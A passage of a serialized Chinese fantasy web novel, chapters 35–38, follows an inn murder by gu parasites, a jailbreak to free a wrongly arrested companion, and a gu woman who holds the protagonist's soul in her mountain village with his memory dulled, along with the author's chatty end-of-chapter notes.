地字叁号房的房门洞开,一个店小二瘫软在门口,面无人色。 房间内。 一个商人打扮的中年男子仰面倒在血泊中,双眼圆瞪,满是惊恐,胸口破开一个大洞,脏腑隐约可见,腹部却是平坦。 但最令人头皮发麻的是,他的皮肤之下,似乎有什么东西在细微地蠕动,看上去诡异又可怖。 “死、死人了……掌柜的!死人了!”小二语无伦次,几乎要晕厥过去。 客栈掌柜连滚带爬地赶来,一见这场面,也是两腿发软,惨白着脸哆嗦道:“报、报官!快报官!” 现场一片混乱,住客们惊恐交加,议论纷纷,却无一人敢上前细看。 洛不觉眉头紧锁,仔细扫过房内。 公羊胜挤到他身边,抻着脖子往里一看,顿时倒吸一口凉气,酒彻底醒了。 “嚯!这死状……够新鲜的啊!” 他虽是修士,见过争斗,但一百年在那秘境里,看到都是妖怪血腥的厮杀打斗,如此诡异凄惨的,也算是头回见了。 公羊胜声音不小,周围人立刻投来不满又恐惧的目光。 洛不觉瞥了他一眼,公羊胜立刻缩了缩脖子,压低声音:“怎么回事?仇杀?还是……” 他眼神里多了几分警惕:“冲我们来的?” 他们昨日刚出秘境,当晚就出了这种事,未免太过巧合。 洛不觉没回答,只是目光更加沉冷。 就在这时,燕黎舟的房门轻轻开了一条缝。 他听话待在里面,但没说他不能看。 视线在现场快速扫过,最后,与洛不觉回头望来的目光撞个正着。 洛不觉眼神微沉,看着燕黎舟,无声地做了个口型。 燕黎舟看得分明,他说的是—— “蛊。” 就在此时,楼下传来一阵喧哗,本地衙门的官差到了,吆喝着驱散人群,封锁现场。 一片兵荒马乱之中,谁也没有注意到,客栈二楼拐角的阴影里,一道纤细的身影倚墙而立。 蛊娘子指尖绕着一缕自己的长发,唇边噙着一丝若有若无的笑意,饶有兴味地看着那间血腥的客房,看着面色凝重的洛不觉和公羊胜。 最后,目光越过人群,落在那条门缝后燕黎舟漏出一点点的脸上。 她的眼神炽热而专注。 “阿哥……” 声音不大,和官差粗暴的喝问声,掌柜带着哭腔的解释以及住客们惊恐的私语混杂在一起。 几个捕快粗暴地驱散了围观的人群,掌柜的在一旁哭天抢地。 这命案一出,他的生意算是彻底完了。 燕黎舟看着重新凑过来的洛不觉,隔着门缝只漏出来一只眼睛。 他眨了眨:“怎么样?” “面皮泛青,非致命伤所致,应是某种蛊虫发作的迹象。” “胸口创口撕裂粗糙,非利刃所为,像是从内向外被强行破开。” 公羊胜也走过来,轻声道。 燕黎舟点点头,眨眨眼,表示原来如此,还不等他发表什么意见。 “几位官爷!就是他们!” 掌柜的忽然看过来,对领头的捕快急声道:“这几位客官是最后入住的上房客人,昨日才到!这位公子……” 他指向洛不觉,“昨夜似乎还在走廊徘徊了许久!” 顿时,所有官差的目光都聚焦过来。 领头捕快按着腰刀,面色阴沉地走过来。 燕黎舟直接把门给合上了,严严实实的。 公羊胜暗道一声倒霉,正要上前周旋,洛不觉却先开口了。 他举起自己的令牌。 “天上白云京,洛不觉。” 官爷一看是仙家的人,瞬间把要逼供的话咽回去,行礼抱拳。 “那你呢?”捕快又指向一身破烂的公羊胜。 “你昨夜可曾听到什么异动?见过什么可疑之人?” 公羊胜连忙举手,满脸“清清白白”。 “我喝多了,睡得死沉,啥也没听见!官爷明鉴!” 这时掌柜的眼睛瞪圆,想到什么,跳起来伸手指着公羊胜:“官爷,他昨晚一个人一间,特意要求的自己一个人!” “第二天我这就死人了!” “肯定是他干的!” “我就说他一个乞丐打扮的怎么就有钱祝得起上房!” 周围声音顿时窃窃私语起来,指着公羊胜,那神情明晃着说他钱来路不明。 公羊胜皱眉,连忙摆手:“不是,我……” 他看向洛不觉。 洛不觉并没有开口的打算,因为燕黎舟不知道什么时候又打开了一条门缝,晋绳缠上他指尖,轻轻扯了扯。 刚准备开口又闭上,洛不觉抿唇不语。 几个捕快根本不听公羊胜解释,看他浑身破破烂烂,想来也不是什么有背景的。 “别废话,跟我们走一趟!”—— 作者有话说:生病了[小丑] 头非常疼,然后又想吐,医生说是什么流感,不烧,但非常难受,非常非常 我的脑子就像一个鸡蛋,有人拿搅蛋器搅成了一堆泡沫,做成了小蛋糕吃 今天码不了了,还好我有存稿[彩虹屁] 大家一定要注意身体,很难受,千万不要生病! 魔力魔力,让大家都平平安安! 第36章 公羊胜等着洛不觉替他说话, 却见洛不觉竟移开视线,没有说话的意思。 顿时心头一梗,暗骂这姓洛的不讲义气! “官爷!真是冤枉!我……” 看到洛不觉不靠谱, 公羊胜瞬间扭头, 挣扎道。 两名衙役不由分说, 一左一右扭住他的胳膊。 公羊胜疼的龇牙咧嘴。 “有什么话, 回衙门再说!” 领头捕快厉声喝道, 无视了公羊胜的抗议。 掌柜在一旁连连点头,一副揪出元凶的激动模样。 公羊胜被粗暴地推搡着带走, 经过洛不觉身边时, 他咬牙怒瞪,呸了一声。 洛不觉看都不看他,仿佛在看一个无关紧要的陌生人。 “看好现场, 任何人不得擅动。” 领头捕快对下属吩咐一句,又转向洛不觉,语气客气了些,“仙长, 若有需要, 可能还需向您询问一二。” “份内之事。”洛不觉微微颔首。 围观人群见“凶犯”被抓, 议论着渐渐散开,只余下掌柜对着被封锁的房门唉声叹气。 走廊重新安静下来。 洛不觉转身,推开燕黎舟的房门走了进去,反手关门。 屋内, 燕黎舟已离开门后,坐在桌边,洛不觉指尖上缠绕着的晋绳缓缓被他收回腕间。 燕黎舟抬头,一双勾着眼尾的眼睛扫过来, 脸上没有表情。 洛不觉动作一滞。 “……” 晋绳一头盘在燕黎舟锁骨上,漏出来的光洁皮肤上,一抹红格外艳眼,弯弯扭扭,安安静静。 说完他伸手,晋绳顺着他手背延伸到手指上,缓缓缠绕着手指爬。 “还你。”他道。 洛不觉喉咙上下滚动了一下。 “送你了。” 燕黎舟眨眨眼,洛不觉身上宝贝多,原书里他就送了主角不少好东西,他也不觉得不好意思,更何况他很喜欢这小红绳子。 见只有洛不觉一人进来,燕黎舟有些疑惑地歪头看向他身后。“公羊胜呢?” “他咋没进来?” 洛不觉眼睛往旁边移了一下,想来是他误解了他的意思。 顿了顿,半天才道。 “被带走了。” “带走了?”燕黎舟皱眉重复了一遍。 “被谁啊?” “官兵。”洛不觉的声音听不出情绪,仿佛在陈述一件与己无关的小事。 燕黎舟瞪大眼睛。 “怎么回事?” 洛不觉的视线落在他锁骨上那抹艳红的绳痕上,又很快强迫自己移开。 他走到桌边,提起茶壶倒了杯水,动作看似从容,但壶嘴与杯沿相碰时发出极轻微的一声磕响。 他不看燕黎舟,也不说话了。 “那我们现在……?” 燕黎舟换了个话题,对方垂眸,不知道在想什么。 “再去房间看看。”洛不觉转身。 地字叁号房。 屋内景象离近看更是骇人。 血迹呈喷溅状洒满半面墙壁,人仰倒的姿态僵硬扭曲,双眼圆瞪,皮肤下那细微的蠕动感十分明显。 洛不觉蹲下身,并未直接触碰尸体,而是虚悬着手掌,灵力感知。 “下蛊时间不长,五脏还未被啃食干净。” 燕黎舟见状蹙眉:“活蛊寄死躯……这是养尸蛊的法子。” 记得原书中说过,这种邪术阴毒异常,以刚死之躯为皿,血肉为饲,强行催养活蛊,待蛊虫成熟,破体而出,其凶戾程度远胜寻常。 洛不觉缓缓收手,站起身。 他没有看燕黎舟,视线落在尸体颈侧一处极不显眼的暗色印记上。 “言虫。”洛不觉的声音听不出情绪。 “言虫!” 燕黎舟一惊,蛊娘子最擅长的蛊术之一。 言虫并非寻常蛊毒,炼制手法刁钻,下蛊之人想要做什么,只需向母蛊言明,被子蛊附身的人就会按照这人说的照做。 是一种精神控制的蛊术。 “蛊娘子也出来了?” 燕黎舟说完才反应过来,蛊娘子作为后宫之一,且不说她是女主候选人之一。 作为蛊盅成妖的人,实力之强大,只要她想出来谁也拦不住。 真是冲他来的啊! 燕黎舟顿时头大,早知道就安安分分待在洛不觉身边,不出去找麻烦了。 桦城罗秘境里面有不少宝贝,主角在这里遇到了诸多机遇,燕黎舟知道地方,又知道怎么获得,拿一个怎么了。 他正思绪飞转呢,却见洛不觉忽然转向他,一步逼近。 距离瞬间被拉得极近,近得燕黎舟能清晰地闻见洛不觉身上的檀香味。 他下意识地想后退,脚却抵住了桌子腿,退无可退。 “你……”燕黎舟刚吐出一个字,便哽在喉间。 洛不觉抬起手,并非对着他,而是越过他的肩头,指尖凝聚起一点微弱的灵光。 一声极轻微的“咔嚓”声响起,像是什么东西被碾碎的声音。 洛不觉的目光这才落回他脸上,眼神深不见底。 他开口,声音压得极低,气息几乎拂过燕黎舟的耳廓: “别动。刚才有只子蛊,想……” 燕黎舟有些别扭,闻言“噢噢”的说了句,打断了洛不觉的话,然后自己也感觉有点奇怪,伸手挠了挠脸。 缠绕在手上晋绳突然有些灼烫。 就在这时,窗外传来一声极其微弱的,似笛非笛,似箫非箫的短促音调。 地上那具尸体皮肤下蠕动的东西变得疯狂起来! 那诡异的音乐没有再响起,但尸体上的蠕动越来越强烈,甚至能听到细微的,令人牙酸的“窸窣”声。 仿佛下一秒就要破皮而出。 “此地不宜久留。” 洛不觉收回目光,他说话间,手腕一翻,一枚玉白色的符箓出现在指尖,符箓无风自燃。 一道淡淡的屏障瞬间将两人笼罩在内,隔绝了周围越来越浓的血腥气。 “走!” 洛不觉低喝一声,不等燕黎舟反应,一把抓住他的手腕。 燕黎舟整个人被带着疾步冲向房门。晋绳在他腕间和洛不觉的指尖缠绕,灼烫感愈发明显。 就在他们即将踏出房门的刹那,身后那具仰倒的尸体猛地抽搐了一下,腹部以一种极其不自然的幅度高高隆起。 “噗嗤!” 一声闷响,血肉飞溅。 那尸体的整个腹腔又猛地炸裂开来,血污里裹挟着无数还在蠕动的半透明幼虫。 落在房间各处,发出滋滋的腐蚀声响。 洛不觉头也未回,反手一挥袖袍,一股凌厉的气劲向后卷去,将冲向他们的气波又挡回去。 他拉着燕黎舟,步伐更快,几乎是闪身出了地字叁号房,反手“砰”地一声将房门甩上,指尖迅速在门板上划着几个看不懂的符文。 两人回到自己的房间,燕黎舟还没反应过来。手腕被洛不觉攥得有些疼,触感有些凉,很舒服。 洛不觉的手指很白,很细,很长,很好看。 洛不觉看他低头一直盯着自己的手,以为是不舒服,抿唇,抓着燕黎舟的手僵了一下。 随即松开。 “嗯?”燕黎舟下意识抬头。 洛不觉盯着别处:“今晚去把公羊胜救出来。” “劫……”燕黎舟反应过来他说什么,说话磕巴了一下。 “劫狱吗?” 夜晚的颜色浓的像是被墨泼的一样,只留下月亮一个白点。 洛不觉与燕黎舟悄无声息地避开了几处不严的明哨,轻易找到了关押公羊胜的牢房。 这邋遢修士正翘着腿躺在一堆干草上,双手枕在脑后,嘴里叼着根草茎,望着黑黢黢的屋顶哼哼唧唧。 倒不像有多害怕,反倒满腹牢骚。 “……真是倒了血霉,喝个酒也能喝进这破地方……那杀千刀的掌柜,等我出去……” 听到极其轻微的脚步声,他一个激灵坐起来,看到牢门外出现的两人,眼睛瞬间亮了。 “哎呀!可算来了!我就知道你们不能见死不救!” 他压低声音,几乎是扑到栅栏前,嘴里嘟囔,“这鬼地方潮得能养鱼,晚饭就一个硬得能砸死狗的馍……” 锁内传来一声轻微的“咔哒”声,公羊胜低头,锁着他牢房的锁掉在地上,草精拿着开锁的钥匙,笑着推开门。 周围不见捕快官兵。 “……” “……你们这是,要劫狱啊?” “啧!”燕黎舟一脸不爽,“来不来。” 公羊胜立刻噤声,他看看这个,又看看那个,认命地跟上。 “行吧。反正我这清白算是彻底交代了……诶,等等我!” 突然旁边传来一阵铃声。 那银铃声极轻,每一声都像是在耳边碰撞响的。 燕黎舟腕间的晋绳无声缩回袖中,他指尖微动,碰了碰洛不觉的手背。 他有些害怕。 蛊娘子依旧穿着那身繁复的苗疆服饰。 她指尖缠绕着一缕发丝,唇边噙着抹弧度,目光越过洛不觉,精准地落在他身后的燕黎舟身上。 “阿哥……”她声音温柔,随即又轻轻蹙眉,眼神却莫名冰冷。 “这地方脏得很,你都脏了。” 洛不觉冰着脸,向前半步,彻底挡住她的视线。 蛊娘子轻笑一声,视线终于慢悠悠转到洛不觉脸上,带着几分轻蔑,最终落在他腰上的令牌。 “白云京的手,伸得是不是太长了些?” “阿哥,跟我过来。” “他们都护不住你,我们才是同类。” 话音刚落,燕黎舟面前,洛不觉的背影逐渐扭曲,蛊娘子的话和洛不觉的呼喊揉在一起,一切全部都换一副模样。 深山云林里,竹楼依附着巨大的树木或是山壁。 楼体大多歪斜,被厚厚的苔藓覆盖,随处可见养着什么东西的坛子。 竹楼三层,世外桃源。 蛊娘子站在离他几步远的栈道尽头,赤足踩着一截粗壮的树根,周围的风吹动了她身上的银铃,却没有发任何声响。 “阿哥。” 她声音放得很轻,“欢迎回家。” 燕黎舟一时半会没说话,两秒后反应过来,眨了下眼睛,抬手。 “嗯!”—— 作者有话说:[饭饭]又是一章,请看! 昨天欠的还没写完,又过去了一天[裂开] 真的想把你们塞进我的脑子里,然后不用写你们就知道这个故事是咋回事了。 不过可能也不会,因为我的大纲很简陋,这一段我就标了个【秘境】,具体细节都是现编现造,天马行空地胡扯八道[闭嘴] 另外,蛊娘子描写虽然是个苗族的,但是她的设定可能只是沾了一点点,都是胡说八道的,不要代入现实[闭嘴] 现在这里给苗族宝宝嗑一个! 第37章 蛊娘子唇边笑意加深, 她不再说话,转身朝着竹楼深处走去。 银铃依旧寂静,像是被吞掉了声音。 空气中弥漫着一种复杂的气味像是花香和草香交织在一起。 闻久了让人有些头脑发沉。 “阿哥以后就住这里。” 蛊娘子指尖抚过竹编的墙壁, 一只通体漆黑的小蜘蛛顺着她的手指爬上手背, 最后隐入袖中。 “需要什么, 都可以告诉我。” …… 蛊娘子端了盆温水进来, 用一把雕刻着繁复虫鸟纹路的银梳, 耐心地替燕黎舟梳理长发。 “阿哥的头发真好,” 指尖轻柔, 绝不会扯疼他半分, “像最好的古树叶。” 她从身后拿出一个新鲜编好的花环,戴在燕黎舟头上。 花朵是寨子附近才有的品种,颜色艳丽, 还沾着晶莹的露水。 “阿哥好看。” 蛊娘子端详着镜子里的燕黎舟,眼睛弯了弯。“比我都好看。” 镜子里的人,戴着新鲜艳丽的花环,墨发如瀑, 眉眼精致得像是一笔一墨精心画出来的。 确实好看。 燕黎舟看着镜中的自己, 又看看身后蛊娘子带着欣赏和些许复杂情绪的脸, 习惯性地弯起唇角,理所当然的安慰道:“你不用难过,我也没见过比我还好看的。” 蛊娘子拿着银梳的手顿了一下。 但紧接着她把梳子放下,弯腰与镜子里的燕黎舟平视, 学着燕黎舟的模样勾了勾唇,眼睛里却看不出笑意。 “我阿哥最是好看。” “山里的凤凰见了你要收拢尾巴,水底的鲛人瞧了你也要躲回贝壳里去。我呀,可不是难过, 我是发愁……” 她故意停顿,温热的气息拂过燕黎舟的耳尖,漆黑的眸子黑沉沉地盯着镜子里的人。 “发愁你这般好看,要是哪天被哪个路过的山精野怪瞧了去,偷了去,我可去哪里寻?” 她指尖轻轻点了点燕黎舟的肩膀,语气变得有些冷。 “到时候,我是不是得发动全寨子的蛊虫,把每座山每片林子都翻过来,才能把我的阿哥找回来?” 蛊娘子偶尔会带燕黎舟去寨子周边的山林里采叶。 她教燕黎舟辨认各种奇特的植物:哪种草药止血最有效;哪种紫红色的小花夜晚会发光;哪种藤蔓的汁液带着甜香,却能让人浑身发痒。 燕黎舟听得认真,但又一套自己的辨认标准。不管有没有毒,找好看的,先上手摘了再说。 全然不管蛊娘子方才的告诫。 “阿哥!那个碰不得!” 蛊娘子一回身,就见燕黎舟将一株花瓣血一样颜色的花朵凑到鼻尖,吓得魂飞魄散。 她赶忙拍掉他的手,又急又气地掏出手帕蘸了溪水给他擦拭指尖。 “这花的汁液沾上皮肤会起红疹的!” “刚刚不是和阿哥说过很多次了吗?” 燕黎舟低头:“哦。” 他说是这么说,但下次肯定还摘。 蛊娘子咬牙,又气又恼,但又无可奈何,拿出来手帕把燕黎舟的这双手捆的死死的。 “阿哥,听话!” 之后蛊娘子再不敢离开燕黎舟半步,眼观六路,耳听八方,生怕一个错眼,这位只凭颜值辨别植物的人就把什么剧毒艳物当宝贝揣怀里。 晚上寨子中心的空地上会燃起篝火。 并非总是进行诡异仪式,大多时候,只是寨民们聚在一起闲聊。 晋绳始终缠在燕黎舟的腕间,像一道沉默的红色印记。 慢慢的,燕黎舟甚至开始学着辨认一些简单的蛊虫。 甚至记住几种喂养蛊虫的特定叶子。 但也有意外,有时是深夜,有时是午后小憩。 毫无征兆的。 他会猛地陷入一片血红。 视野里是剧烈晃动的景象,疼……撕心裂肺的疼从身体深处炸开,像是有什么东西要钻出来…… 耳边是混乱的嘶吼,还有一个冰冷焦急的声音在喊什么……听不清…… “小草小草,你是福星!” “我为什么会死,我为什么会死!都是因为你,你没有出现就好了!你没有出现就好了!” “为什么还活着?” …… 无数喧杂的声音,每一句都混在一起,每个字却又无比清晰 燕黎舟猛地被惊醒,浑身冷汗,胸口处心脏狂跳。 窗外十分安静,什么声音都没有,一切都安静得可怕。 面前好像有一个挺直的背影挡在身前,腰间挂着什么…… 看不清…… 然后又是一阵天旋地转的黑暗和坠落感。 他再一次惊醒,燕黎舟发现自己在哭。 眼泪无声地淌了满脸,心脏也抽痛得厉害,一种巨大的,空落落的恐慌填满了整个心脏。 为什么哭? 燕黎舟茫然地坐起身,擦掉眼泪,坐在床上思考了一夜,神情恍惚。 他好像忘记了什么。 应该不是很重要的…… 第二天清早,蛊娘子按往常一样,没想到燕黎舟居然醒着。 “你……” “我好像,做噩梦了。” 燕黎舟声音闷闷的,不等蛊娘子问,自己就先交代。 蛊娘子顿了一下,轻轻蹙眉,很少见的,在阿哥脸上出现这样的表情。 她从腕上褪下一根细细的银链,链子上缀着几个小小的铃铛,系在燕黎舟的脚踝上。 蛊娘子本是想系在手腕上,可是燕黎舟手腕上已经有了一圈红绳,还谁都不让碰,只能转而求其次。 “寨子里的规矩,” 蛊娘子笑吟吟地解释,指尖似无意地划过燕黎舟的皮肤。 “系了铃,便是有了归属,山鬼便不敢来扰你清梦了。” 走动时,那银铃会发出很轻微的清脆声响。 “阿哥不怕,这里非常安全!” “洛不觉!” 公羊胜闯进来,他脸上带着个人皮面具,外面街道上有官兵会时不时巡逻。 房间内,燕黎舟躺在床上,像个瓷白娃娃。洛不觉坐在床边,并未回头,依旧维持着那个姿势。 源源不断的灵力进入燕黎舟体内,却又都石投大海。 逃狱的他,失魂的燕,还有一个望夫石的洛。 洛不觉周围浑身散发着生人勿近的气息。 公羊胜摘下面具,露出疲惫的脸,他看着床上面色苍白的燕黎舟,喉咙发紧。 公羊胜喉咙上下滚动了一下。 “那蛊娘子把草精魂魄带走了,你这样一直输送灵力不是个长久的办法啊,这要是再找不回来……” “灵力只能暂保他肉身不腐,魂魄离体超过七日,魂灯再亮也会熄灭。” 公羊胜忘了,蛊娘子是蛊盅成妖,虽然擅用蛊,但她还是妖。 他表情充满了懊悔。 洛不觉终于动了。 他缓慢伸手,指尖轻轻拂过对方眼角,那里还残留着昨夜流的泪痕。 最终目光落在燕黎舟手腕上安静趴着的红绳。 “晋绳有灵,最护主。” 洛不觉薄唇轻抿,拿起旁边的秋水剑,剑刃抵在手腕上,轻轻一擦,一道血痕出现。 “我去寻他。” 秋水剑护在两人旁边,形成了一道无形的屏障,连公羊胜也挡在外面。 公羊胜手抬了抬,最终又是放下。 这几日他也发现了,这草精身上毒素还没清,这会儿被那蛊妖带走。 洛不觉要是去寻,必然同样以魂魄形态,在别人的地盘,自己肯定会被压制。 搞不好是个赔了夫人又折兵的法子。 蛊娘子去给他做安神汤去了。 床上,燕黎舟屈起腿,看着脚踝上那枚小小的银铃,下意识地轻轻晃动了一下。 叮铃…… 声音确实极小。 可不知为何,听着这铃声,燕黎舟心里那点刚刚被压下去的空落感又丝丝缕缕地渗了出来,像是被什么东西挖走了一大块,凉飕飕地透着风。 燕黎舟抬手,按了按心口,那里闷闷的,有些抽痛,却不记得缘由。 他好像……忘了什么很重要的事。 是什么? 燕黎舟努力去想,脑海却只有一些支离破碎的片段。 头突然针扎似的疼了一下。 燕黎舟闷哼一声,不敢再深想。 也许是噩梦太真了吧。燕黎舟安慰自己。 窗外阳光正好,洒进来,落在燕黎舟苍白的脸上,暖洋洋的。寨子里很安静,隐约有山歌飘过来,一切都显得平静祥和。 蛊娘子对他很好,无微不至。 这里是安全的。 燕黎舟深吸一口气,试图将那些不安都归咎于一场过于惊悚的噩梦。 低头,手指轻轻拨弄了一下那枚银铃。 叮铃…… 声音依旧清脆。 可就在这清脆的铃声中,燕黎舟感觉手腕突然毫无征兆地传来一阵细微的刺痛感。 一闪而逝。 快得像是错觉。 他猛地缩回手,诧异地抚摸着自己的手腕。 那里光洁平滑,除了那根红绳什么都没有。 燕黎舟甩甩头,决定不再胡思乱想。也许他真是需要一碗安神汤了。 重新躺回床上,闭上眼,想要继续休息。脚踝上的银铃随着他的动作,又极轻地响了一声。 叮铃…… “洛不觉!” 是谁? 燕黎舟愣愣的盯着眼前的鲜艳的蘑菇,对于脑子里突然出现的一个陌生名字有些不解。 “在看什么?”蛊娘子问。 “阿哥忘了自己曾经肿得难看的手了?” 蛊娘子拿了片叶子将那颗蘑菇轻轻摘下来,放进自己腰上的一个笼筒里面。 “没什么……”燕黎舟垂眸,“就是觉得,好像忘了点什么东西。” 蛊娘子掩唇轻笑。 “人能记住的,都是该记的。忘了的,大抵是不重要的琐事罢了。阿哥何必自扰?” “阿哥,你看那边,”蛊娘子扯出来一抹笑,伸手指向寨子后方的一座高山,山腰处云雾缭绕。 “那里是寨子的圣地,在后山许愿,山神会保佑我们的!” “等过几日,你身体再好些,我带你上去看看可好?” 燕黎舟顺着她指的方向望去,那山峰在阳光下显得有几分神秘。 可不知为何,他看着那地方,非但没有生出向往,反而后颈窜起一丝的凉意。 “嗯。”燕黎舟听见自己这样回答,声音温和。 脚踝上的银铃又响了一声。 叮铃。 蛊娘子挽起燕黎舟的胳膊。 “今日寨子里有新鲜的花饼,我带你去尝尝。” 走动间,脚踝上的银铃叮叮作响,规律而轻柔,像是一首安眠曲,不断安抚着燕黎舟躁动的情绪。 燕黎舟小口抿着蛊娘子递给他的鲜花饼,入口花香味道很浓。 余光扫看周围—— “咳!”燕黎舟猛地呛了一下,捂住胸口,脸色微微发白。 “阿哥,怎么了?是不是不合胃口?” 蛊娘子立刻关切地望来,眼神里闪过一丝紧张。 她的指尖下意识地拂过自己腕上的另一个银铃,燕黎舟脚踝上的铃铛随之轻轻一震,发出的声响很柔和。 燕黎舟心头的异样迅速褪去,只留下一片温吞的茫然。 “没事,”燕黎舟摇摇头,挤出一个安抚的笑,“吃得急了些。” 蛊娘子仔细观察着他的神色,片刻后才重新展露笑颜,只是挽着燕黎舟的手微微收紧了些。 “慢点吃,还有很多呢。”她语气轻快,仿佛刚才什么也没发生,她从旁边拿起来一个更漂亮的糕点。 “这个也好看,特意换的模子。” 燕黎舟轻轻“嗯”了一声,余光却忍不住瞥向看见刚刚看见白色身影一闪而过的方向。 现在却没有人。 ……是谁? 洛不觉?—— 作者有话说:朋友看文后说我未免有点太爱“……” pai疑惑,pai反驳,pai开始搜全文以自证清白,最后pai震惊…… [问号][问号][问号] 怎么会有这么多的省略号!一个人一章怎么能写这么多!甚至章章不落! …… 好吧,我承认! 我就是很喜欢,不仅说话喜欢,转场有时候也会用…… 救命,救救我,这个真的很好用啊![捂脸笑哭] 第38章 翌日清晨, 薄雾未散。 阳光透过竹窗,落在燕黎舟的衣襟上,脚踝的银铃随着他轻微的动作发出细碎的声响。 一个白色的身影, 突兀地出现在楼下。 溪流对岸, 那人身形挺直, 与周遭格格不入, 或许是巧合, 对方也抬起头。 燕黎舟的目光与那双眼眸对上,心口猛地一抽, 手指无意识地收紧。 那双眼睛, 太漂亮了。 四目相对,却升起一种难以言喻的熟悉感。毫无由来的,那熟悉感像无数根细针刺入他空茫的脑海。 燕黎舟伸手按了按心口, 那里又开始隐隐作痛,脚踝的银铃无风自动。 “阿哥?”蛊娘子的声音从身后传来,带着一丝不易察觉的紧绷。 她也看到了楼下那人。 燕黎舟回神,微微蹙眉:“有人来了。” 他只当刚刚是自己恐高了, 害怕蛊娘子担心, 燕黎舟喉咙上下滚动了一下, 硬忍下自己身体的不适,看向窗外。 蛊娘子已恢复笑颜,柔声道:“或许是远道而来的行商吧。我们下去看看?” “这位郎君面生得很,不是寨子里的人吧?”蛊娘子笑吟吟地问, 眼底却藏着审视。 那人面容普通,是寨子里常见的样貌,可一双眼睛却深邃平淡,不笑的时候带着淡淡的疏离和压迫感, 与那张平凡的脸格格不入。 男人的视线从燕黎舟脸上扫过,最终落在蛊娘子身上,声音低沉:“路过,想换些盐粒子。” 燕黎舟站在一旁,目光却不受控制地再次落在那双眼睛上。 心头的异样感更强烈了。 声音也熟…… 蛊娘子似乎察觉了燕黎舟的异样,挽着他的手紧了紧,抬头对男人道:“寨子东头有杂货铺,郎君自去便是。” 语气已带上了送客的意味。 男人却像是没听懂,反而看向燕黎舟,忽然开口:“这位郎君气色似乎不佳。” 燕黎舟一怔,伸手摸上自己的脸。 他继续道:“需要看看吗?我略通些医理。” “不劳费心。”蛊娘子立刻挡在燕黎舟身前,笑容淡去,“我家阿哥只是昨夜未曾安睡。郎君请吧。” 燕黎舟鬼使神差地开口:“你……” 他顿了顿,茫然地转头问蛊娘子,压低了声音。 “我是不是变丑了,他是不是在骂我难看?” 话音落下,空气骤然凝固。 蛊娘子脸上笑容一僵,看着洛不觉的眼神又多了几分不善。 她轻笑一声,声音一点不压:“没有,好看的。他眼瞎。” 她转向男人,语气不容置疑,“郎君,请。” 对方没有多说,转身离开。 白色的身影逐渐被周围环绕着的薄雾吞没。 “阿哥,你觉得那人哪里眼熟?”蛊娘子试探性问道。 燕黎舟垂下眸子,不去再看那人背影消失的方向。 “我应该不认识他。” 燕黎舟的回答让蛊娘子欢喜。 “阿哥当然不认识。” “阿哥从小就在寨子里长大……不会认识他的。” “他是坏人!” 燕黎舟认可的点点头,又摸了摸自己的脸。 …… 溪流边。 燕黎舟独自一人,脚踝的银铃随着步伐发出规律的轻响。 蛊娘子被几位寨老请去商议要事,临行前再三叮嘱他不要走远。 燕黎舟蹲下身,掬起一捧水洗了洗脸,对着水面照自己的模样。 水波晃动间,清晰地映出一个青年的身影。 身着盛装,头戴银冠,冠上繁复的银丝盘成图腾银纹,在波光中微微颤动,仿佛有了生命一般。 水面微微晃动,将燕黎舟的面容揉碎又拼合,眉骨很高,倒影中,那双眼睛尤其引人注目。 它不是纯粹的黑色,而是泛着些微的琥珀色,眼尾上扬,被水波牵起时,显得十分慵懒。唇角自然上扬,仿佛总含着句未说尽的话。 燕黎舟眨掉眼睫上沾着的水珠,一抬头,呼吸一滞。 溪流对岸,一个白色的身影不知何时又出现了,依旧是一身与苗寨格格不入的素白,仿佛一尊冷玉雕成的像。 就站在一棵古树下,静静地望着燕黎舟。 晨间的薄雾尚未散尽,缭绕在他周身,衬得那身影又仙又神。 是他。 早上奇怪的人。 讨人厌的,说他变丑了的人。 燕黎舟下意识地站起身,脚踝银铃因这突兀的动作发出一串急促的轻响。 他隔着不宽的溪流,与对岸的男人沉默对视。 男人的目光平静,隔着溪流落在他身上,几乎要将人看穿。 两人谁都没有主动开口,只是那样看着,仿佛在等待什么。 燕黎舟喉结滚动了一下,鬼使神差地,他向前走了几步,踩进了冰凉的溪水里,朝着对岸走去。 溪水不深,刚没过小腿,银铃浸入水中,声响变得沉闷。 他在距离洛不觉几步远的地方停下,湿漉漉的裤脚黏在皮肤上,带来一丝不适的凉意。 男人的视线从他浸湿的衣摆缓缓上移,最终看着燕黎舟的眼睛。 “怎么一个人在这儿?”男人开口,声音依旧是那种听不出情绪的低沉。 燕黎舟伸手地按了按心口,压下那点异样,努力让自己的语气听起来如常: “寨子里闷,出来走走。” 说着他顿了顿,想起早上,出于礼貌又补了一句,“你……没找到杂货铺?” “找到了。” 男人的视线扫过燕黎舟按在心口的手,语气平淡。 “这里景致不错,想多留片刻。” 男人的解释合情合理,但燕黎舟总觉得没那么简单。 这人身上有种生人勿近的冷硬气场,怎么看都不像是会有闲情逸致欣赏山水景致的人。 两人一时无话。 燕黎舟本是活泼跳脱的性子,最受不了这种沉闷,忍不住又开口,带着点他自己都没察觉到的试探。 “你说你略通医理?那你看我……像是有什么毛病?” 燕黎舟有些不自在,脚踝的银铃无风自动,轻轻响了一声。 “神魂不安,气血有亏。” 男人缓缓开口,每个字都清晰冷静,“应该是是受过极大的惊吓,或是被人以特殊手法扰动过心神。” 燕黎舟心头猛地一跳,脚踝上的银铃又响了一下,这次比之前还急了几分。 “是吗?”燕黎舟轻笑道,“可能就是没睡好……蛊娘子也说我总是睡不安稳。” “蛊娘子?”男人重复了一遍这个名字,语调没有任何起伏,眼神却似乎更冷了些,“她待你很好?” “很好啊!” 燕黎舟立刻点头,“寨子里的人都很好,蛊娘子尤其照顾我。” “这里很安全。” 说着他歪了歪头,询问对面这个男人:“你要不要留下来?” 燕黎舟说着,下意识地摸了摸腕间那发热的红绳。 男人的视线随着他的动作,极快地掠过他的手腕,眸色深不见底。 “那便好。”他淡淡道,似乎失去了谈话的兴趣,转身欲走。 “哎!”燕黎舟也不知自己怎么了,见他要走,竟脱口叫住他。 对方脚步顿住,侧身回望。 溪流淙淙,雾气氤氲。 隔着薄雾,那双眼睛望过来,燕黎舟的心脏又不合时宜地猛缩了一下。 燕黎舟鬼使神差地把自己手腕上的红绳扒拉下来,从脚边捡了块最好看圆润的小石头,系上,手臂一扬,朝着对方扔了过去。 “接着!” 系着红绳的石子划出一道弧线。 男人几乎没怎么看,抬手便精准地将石子接在掌中。 他低头,看着掌心里绑着石子的晋绳,微微一怔。 燕黎舟已经笑了起来,眉眼弯弯,那笑容冲散了他心里因为早上这人说他丑的不舒服,明亮得有些晃眼。 “见面礼!” 